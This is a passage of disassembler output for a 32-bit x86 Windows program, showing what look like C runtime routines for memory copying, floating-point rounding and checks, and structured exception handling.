loc_41C59C: ; DATA XREF: sub_41C500+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41C55C
rep movsd
jmp ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C5C0: ; DATA XREF: sub_41C500+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41C55C
rep movsd
jmp ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C5DC dd offset loc_41C63F ; DATA XREF: sub_41C500:loc_41C55Cr
dd offset loc_41C62C
dd offset loc_41C624
dd offset loc_41C61C
dd offset loc_41C614
dd offset loc_41C60C
dd offset loc_41C604
dd offset loc_41C5FC
; ---------------------------------------------------------------------------
loc_41C5FC: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41C604: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41C60C: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41C614: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41C61C: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41C624: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41C62C: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C63F: ; CODE XREF: sub_41C500:loc_41C55Cj
; DATA XREF: sub_41C500:off_41C5DCo
jmp ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41C648 dd offset loc_41C658 ; DATA XREF: sub_41C500+35r
; sub_41C500+92r ...
dd offset loc_41C660
dd offset loc_41C66C
dd offset loc_41C680
; ---------------------------------------------------------------------------
loc_41C658: ; CODE XREF: sub_41C500+35j
; sub_41C500+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C660: ; CODE XREF: sub_41C500+35j
; sub_41C500+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C66C: ; CODE XREF: sub_41C500+35j
; sub_41C500+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C680: ; CODE XREF: sub_41C500+35j
; sub_41C500+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C698: ; CODE XREF: sub_41C500+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41C6CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41C6C0
std
rep movsd
cld
jmp ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C6C0: ; CODE XREF: sub_41C500+1B1j
; sub_41C500+208j ...
neg ecx
jmp dword ptr ds:loc_41C78F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41C6CC: ; CODE XREF: sub_41C500+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41C6E4
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41C6E4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41C6E4: ; CODE XREF: sub_41C500+1D6j
; DATA XREF: sub_41C500+1DDr
jmp ds:off_41C7E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
clc
mov byte ptr [ecx+0], 18h
mov dword ptr [ecx+0], offset loc_41C740
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41C6C0
std
rep movsd
cld
jmp ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41C6C0
std
rep movsd
cld
jmp ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41C740: ; DATA XREF: sub_41C500+1F1o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41C6C0
std
rep movsd
cld
jmp ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
align 4
xchg eax, esp
mov dword ptr [ecx+0], offset loc_41C79C
movsb
mov dword ptr [ecx+0], offset loc_41C7AC
mov ah, 0C7h
inc ecx
add [edi+eax*8-383BFFBFh], bh
inc ecx
loc_41C78F: ; DATA XREF: sub_41C500+1C2r
add bh, dl
mov dword ptr [ecx+0], 1C8E448Bh
mov [edi+ecx*4+1Ch], eax
loc_41C79C: ; DATA XREF: sub_41C500+275o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41C7AC: ; DATA XREF: sub_41C500+27Do
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41C7D7: ; CODE XREF: sub_41C500+1C2j
jmp ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41C7E0 dd offset loc_41C7F0 ; DATA XREF: sub_41C500+1B7r
; sub_41C500:loc_41C6E4r ...
dd offset loc_41C7F8
dd offset loc_41C808
dd offset loc_41C81C
; ---------------------------------------------------------------------------
loc_41C7F0: ; CODE XREF: sub_41C500+1B7j
; sub_41C500:loc_41C6E4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C7F8: ; CODE XREF: sub_41C500+1B7j
; sub_41C500:loc_41C6E4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C808: ; CODE XREF: sub_41C500+1B7j
; sub_41C500:loc_41C6E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41C81C: ; CODE XREF: sub_41C500+1B7j
; sub_41C500:loc_41C6E4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C835 proc near ; CODE XREF: sub_40BE55+40p
; sub_40ED60+23Dp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B1D0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420730
add esp, 10h
leave
retn
sub_41C835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C869(double)
sub_41C869 proc near ; CODE XREF: sub_40CE7B+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_43CF20
call sub_421A09
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C8EF
call sub_4218D1
pop ecx
test eax, eax
pop ecx
jle short loc_41C8D2
cmp eax, 2
jle short loc_41C8C4
cmp eax, 3
jnz short loc_41C8D2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_4211E1
add esp, 10h
jmp short loc_41C934
; ---------------------------------------------------------------------------
loc_41C8C4: ; CODE XREF: sub_41C869+3Fj
push esi
push ebx
call sub_421A09
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C934
; ---------------------------------------------------------------------------
loc_41C8D2: ; CODE XREF: sub_41C869+3Aj
; sub_41C869+44j
fld [ebp+arg_0]
fadd ds:dbl_428718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41C92C
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C869+2Fj
call sub_421896
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C912
loc_41C904: ; CODE XREF: sub_41C869+ACj
push esi
push ebx
call sub_421A09
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C934
; ---------------------------------------------------------------------------
loc_41C912: ; CODE XREF: sub_41C869+99j
test bl, 20h
jnz short loc_41C904
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C92C: ; CODE XREF: sub_41C869+84j
call sub_421234
add esp, 1Ch
loc_41C934: ; CODE XREF: sub_41C869+59j
; sub_41C869+67j ...
pop esi
pop ebx
leave
retn
sub_41C869 endp
; =============== S U B R O U T I N E =======================================
sub_41C938 proc near ; CODE XREF: sub_41B974+9p
; sub_421AD2+21p
; DATA XREF: ...
call sub_41C950
call sub_421AD2
mov ds:dword_4DDF08, eax
call sub_421A82
fnclex
retn
sub_41C938 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C950 proc near ; CODE XREF: sub_41C938p
mov eax, offset sub_421EC0
mov ds:off_43F534, offset sub_421B55
mov ds:off_43F530, eax
mov ds:off_43F538, offset sub_421BBB
mov ds:off_43F53C, offset sub_421AFB
mov ds:off_43F540, offset sub_421BA3
mov ds:off_43F544, eax
retn
sub_41C950 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C988 proc near ; CODE XREF: sub_40CE7B+1Bp
; sub_40CE7B+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C9AF(double)
sub_41C9AF proc near ; CODE XREF: sub_40CEC7+83p
; sub_40D83A+3AEp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_43CF38
call sub_421A09
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CA35
call sub_4218D1
pop ecx
test eax, eax
pop ecx
jle short loc_41CA18
cmp eax, 2
jle short loc_41CA0A
cmp eax, 3
jnz short loc_41CA18
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_4211E1
add esp, 10h
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA0A: ; CODE XREF: sub_41C9AF+3Fj
push esi
push ebx
call sub_421A09
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA18: ; CODE XREF: sub_41C9AF+3Aj
; sub_41C9AF+44j
fld [ebp+arg_0]
fadd ds:dbl_428718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41CA72
; ---------------------------------------------------------------------------
loc_41CA35: ; CODE XREF: sub_41C9AF+2Fj
call sub_421896
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CA58
loc_41CA4A: ; CODE XREF: sub_41C9AF+ACj
push esi
push ebx
call sub_421A09
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA58: ; CODE XREF: sub_41C9AF+99j
test bl, 20h
jnz short loc_41CA4A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41CA72: ; CODE XREF: sub_41C9AF+84j
call sub_421234
add esp, 1Ch
loc_41CA7A: ; CODE XREF: sub_41C9AF+59j
; sub_41C9AF+67j ...
pop esi
pop ebx
leave
retn
sub_41C9AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA7E proc near ; CODE XREF: sub_422331+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41CA7E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41CAB2 proc near ; CODE XREF: sub_4224E2+199p
; sub_4226A6+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CAB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CAB9 proc near ; CODE XREF: sub_4224E2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CAB9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAC0 proc near ; CODE XREF: sub_41CC72+5Cp
; sub_422331:loc_422362p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41CAE8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426A1E ; RtlUnwind
loc_41CAE8: ; DATA XREF: sub_41CAC0+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41CAC0 endp
; ---------------------------------------------------------------------------
loc_41CB0F: ; CODE XREF: seg000:004270C0j
; seg000:004270DDj ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421F36
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB45 proc near ; CODE XREF: sub_4223AC+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41CB99
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422730
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41CB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB99 proc near ; DATA XREF: sub_41CB45+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421F36
add esp, 20h
pop ebp
retn
sub_41CB99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CBBE proc near ; CODE XREF: sub_422178+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CC72
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CC44
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_4DDF64
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CC44: ; DATA XREF: sub_41CBBE+3Co
cmp [ebp+var_4], 0
jz short loc_41CC61
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CC6A
; ---------------------------------------------------------------------------
loc_41CC61: ; CODE XREF: sub_41CBBE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CC6A: ; CODE XREF: sub_41CBBE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41CBBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC72 proc near ; DATA XREF: sub_41CBBE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CC95
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CCE2
; ---------------------------------------------------------------------------
loc_41CC95: ; CODE XREF: sub_41CC72+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421F36
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CCD3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CAC0
loc_41CCD3: ; CODE XREF: sub_41CC72+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CCE2: ; CODE XREF: sub_41CC72+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CC72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE7 proc near ; CODE XREF: sub_421FD1+C6p
; sub_422178+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CD3E
loc_41CD05: ; CODE XREF: sub_41CCE7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CD0F
call sub_4227D2
loc_41CD0F: ; CODE XREF: sub_41CCE7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CD24
cmp ecx, [eax+8]
jle short loc_41CD29
loc_41CD24: ; CODE XREF: sub_41CCE7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CD35
loc_41CD29: ; CODE XREF: sub_41CCE7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CD35: ; CODE XREF: sub_41CCE7+40j
cmp [ebp+arg_4], 0
jge short loc_41CD05
mov eax, [ebp+var_4]
loc_41CD3E: ; CODE XREF: sub_41CCE7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CD52
cmp esi, eax
jbe short loc_41CD57
loc_41CD52: ; CODE XREF: sub_41CCE7+65j
call sub_4227D2
loc_41CD57: ; CODE XREF: sub_41CCE7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CCE7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD64 proc near ; CODE XREF: sub_4237BC+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41CD7C
push [ebp+arg_0]
call sub_426A1E ; RtlUnwind
loc_41CD7C: ; DATA XREF: sub_41CD64+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CD64 endp
; =============== S U B R O U T I N E =======================================
sub_41CD84 proc near ; DATA XREF: sub_41CDA6+Ao
; sub_41CE0E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CDA5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CDA5: ; CODE XREF: sub_41CD84+10j
retn
sub_41CD84 endp
; =============== S U B R O U T I N E =======================================
sub_41CDA6 proc near ; CODE XREF: sub_422452+Dp
; sub_4237BC+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CD84
push large dword ptr fs:0
mov large fs:0, esp
loc_41CDC3: ; CODE XREF: sub_41CDA6:loc_41CDFEj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CE00
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CE00
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CDFE
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CE3A
call dword ptr [ebx+esi*4+8]
loc_41CDFE: ; CODE XREF: sub_41CDA6+44j
jmp short loc_41CDC3
; ---------------------------------------------------------------------------
loc_41CE00: ; CODE XREF: sub_41CDA6+2Aj
; sub_41CDA6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CDA6 endp
; =============== S U B R O U T I N E =======================================
sub_41CE0E proc near ; CODE XREF: sub_422472+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CD84
jnz short locret_41CE30
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CE30
mov eax, 1
locret_41CE30: ; CODE XREF: sub_41CE0E+10j
; sub_41CE0E+1Bj
retn
sub_41CE0E endp
; =============== S U B R O U T I N E =======================================
sub_41CE31 proc near ; CODE XREF: sub_422730+1Ep
; sub_422730+40p
push ebx
push ecx
mov ebx, offset dword_43CF3C
jmp short loc_41CE44
sub_41CE31 endp
; =============== S U B R O U T I N E =======================================
sub_41CE3A proc near ; CODE XREF: sub_41CDA6+4Fp
; sub_4237BC+78p
push ebx
push ecx
mov ebx, offset dword_43CF3C
mov ecx, [ebp+8]
loc_41CE44: ; CODE XREF: sub_41CE31+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CE3A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CE54 proc near ; CODE XREF: sub_40CEC7+5p
; sub_40D066+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CE54 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CE73 proc near ; CODE XREF: sub_40D4F9+22p
; seg000:004267F5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B2A1
pop ecx
retn
sub_41CE73 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE80 proc near ; CODE XREF: sub_40D566+3Ap
; sub_41E0C2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CEA0
cmp edi, eax
jb loc_41D018
loc_41CEA0: ; CODE XREF: sub_41CE80+16j
test edi, 3
jnz short loc_41CEBC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEDC
rep movsd
jmp ds:off_41CFC8[edx*4]
; ---------------------------------------------------------------------------
loc_41CEBC: ; CODE XREF: sub_41CE80+26j
mov eax, edi
mov edx, 3
sub ecx, 4
